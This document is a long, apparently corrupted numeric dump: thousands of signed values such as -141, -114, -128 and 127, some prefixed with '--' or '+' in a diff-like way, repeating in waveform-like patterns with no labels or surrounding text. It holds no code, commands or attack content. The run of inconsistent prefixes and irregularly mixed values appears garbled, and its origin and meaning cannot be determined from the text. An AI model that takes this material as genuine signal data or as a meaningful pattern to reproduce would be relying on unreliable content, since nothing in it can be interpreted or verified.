--30 --28 --26 --25 --23 --21 --20 --18 --18 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -108 -103 -100 -96 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -80 -78 -75 -72 -68 -65 -61 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -78 -76 -74 -71 -68 -64 -60 -57 -52 -48 -43 -40 -37 -33 -30 -27 -25 -22 -19 -18 -17 -15 -15 -14 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -3 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --96 --91 --85 --64 --74 --53 --65 --61 --57 --54 --50 --47 --45 --42 --39 --37 --34 --32 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --16 --14 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -102 -99 -94 -91 -87 -84 -79 -75 -70 -65 -60 -56 -52 -47 -43 -40 -35 -31 -28 -26 -24 -22 -21 -19 -17 -16 -15 -14 -13 -12 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -3 -3 --87 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 -101 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -110 -100 -92 -87 -83 -80 -78 -76 -72 -70 -67 -64 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --90 --84 --80 --59 --71 --66 --62 --58 --54 --51 --48 --44 --42 --39 --37 --34 --32 --30 --28 --27 --25 --23 --22 --20 --19 --17 --16 --16 --15 --13 --12 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -115 -109 -103 -99 -95 -92 -88 -84 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -61 -57 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -90 -85 -82 -80 -78 -75 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -89 -86 -82 -79 -77 -74 -71 -68 -62 57 54 --44 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -70 -67 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -78 -76 -74 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --90 --98 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-112 90 -86 -83 -79 -78 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -88 -85 -83 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 80 -77 -74 -72 +75 +71 68 65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -102 -94 -89 -85 -82 -79 -77 -73 -70 -67 64 60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 127 -111 -101 -94 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 112 -101 -93 -89 -85 -82 +97 +87 79 -77 -73 -70 -67 -64 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 +75 71 68 -64 +66 +63 60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-112 +95 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 112 -101 -94 -89 -85 -82 +97 +87 80 -77 -74 +75 71 68 -64 +65 +63 60 -56 -52 -48 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +79 +75 +71 +69 +65 +63 +61 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +64 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +80 +75 +70 +68 +65 +63 +60 +57 +54 +51 +46 43 -40 -36 -33 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +69 +66 +63 +60 +58 +54 +50 +46 +43 +38 +34 30 -27 -24 -22 -20 +26 +23 19 -17 16 14 -13 -12 -12 -10 -10 +11 8 -8 -7 6 5 4 -4 -3 -2 2 1 -1 +0 +-2 +-3 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-11 +-11 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-104 +-112 +-105 +-99 +-78 -89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 --91 --85 +-68 +-79 +-76 +-72 +-68 -64 --75 --54 --66 --62 --58 --54 +-61 +-59 +-56 +-53 -51 --47 +-48 +-45 -44 +-42 -41 -38 --36 --34 --32 --30 --28 --26 --24 --23 --21 --20 --19 --17 --16 --15 --13 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -122 -113 -108 -102 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --96 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -89 -85 -82 -79 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -83 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --94 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -95 -90 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -101 -93 -89 -85 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 -51 -48 -44 -40 -37 -33 -30 -28 -25 -22 -20 -19 -17 -16 -14 -14 -12 -12 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 -3 -3 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --84 --63 --75 --54 --65 --62 --58 --54 --50 --47 --45 --42 --39 +-37 -36 -34 -33 +-31 +-30 -30 -28 --26 --25 --23 --21 --20 --19 --17 --16 --15 --14 --13 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -115 -109 -103 -99 -95 -92 -88 -84 -79 -75 -70 -65 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -90 -86 -82 -79 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -93 -89 -86 -82 -79 -77 -74 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -90 -86 -83 -80 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 110 100 -93 -89 -84 -81 -78 -76 -74 -71 -67 -64 -59 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -85 -82 -79 -77 -74 -70 -67 -64 -60 -56 -51 -48 -43 -40 -36 -32 -29 -27 -24 -22 -20 -18 -16 -15 -14 -13 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 -3 -2 -2 -2 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -100 -92 -87 -83 -81 -78 -76 -73 -70 -67 -63 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --90 --84 --79 --59 --70 --65 --62 --58 --54 --50 --48 --45 --42 --38 --36 --34 --32 --30 --28 --26 --24 --22 --21 --20 --19 --18 --16 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -108 -103 -100 95 -92 -88 -84 -80 -76 +89 +86 +81 +78 +74 70 66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --85 --95 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -90 -85 -82 -79 -77 -74 -72 -67 -64 -60 +62 56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -88 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -88 -84 -81 -79 -77 -74 -71 -67 -64 -59 -56 -51 -47 -43 -40 -36 -33 -30 -28 -25 -23 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -3 -3 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --96 --90 --85 --64 --74 --53 --65 --61 --57 --53 --50 --47 --44 --42 --39 --36 --34 --32 --30 --28 --26 --25 --23 --22 --20 --19 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -115 -109 -103 -99 -95 -93 -88 -85 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -90 -85 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -111 -101 -94 -89 -85 -82 -78 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -78 -76 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --97 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -93 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -55 52 -48 -44 -40 -37 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +66 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +87 +79 +74 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +96 +87 +80 +75 +71 +68 +65 +63 +60 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +43 +38 34 30 -28 -25 +26 22 -21 -18 -17 +19 16 -14 13 -11 10 -9 8 -8 -6 -6 +7 5 -4 -4 -4 -4 -4 -4 3 2 --87 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --91 --85 --63 --74 --54 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-106 +-99 +-78 +-89 +-69 +-80 +-76 +-72 +-68 -65 -61 -58 --54 --50 --47 --44 --42 --38 --36 --34 --32 --29 --27 --26 --25 --23 --21 --19 --19 --18 --16 --15 --15 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -103 -100 -95 -92 -88 -85 -79 -76 -71 -66 -61 -56 -51 -47 -43 -40 -36 -33 -30 -28 -25 -23 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -7 -6 -6 -5 -5 -4 -4 -4 -3 -3 --87 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --97 --90 --84 --91 --85 --64 --75 --53 --64 --60 -56 -52 --49 +-50 +-48 -46 --43 +-44 +-41 -40 -38 -36 -34 +-33 +-32 -32 -30 +-30 +-29 -28 -27 --25 --23 --21 --21 --19 --18 --17 --16 --15 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -109 -104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 100 -95 +94 +89 +86 +81 +78 +73 +70 +65 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-109 92 -88 -84 -79 +127 +127 +127 +127 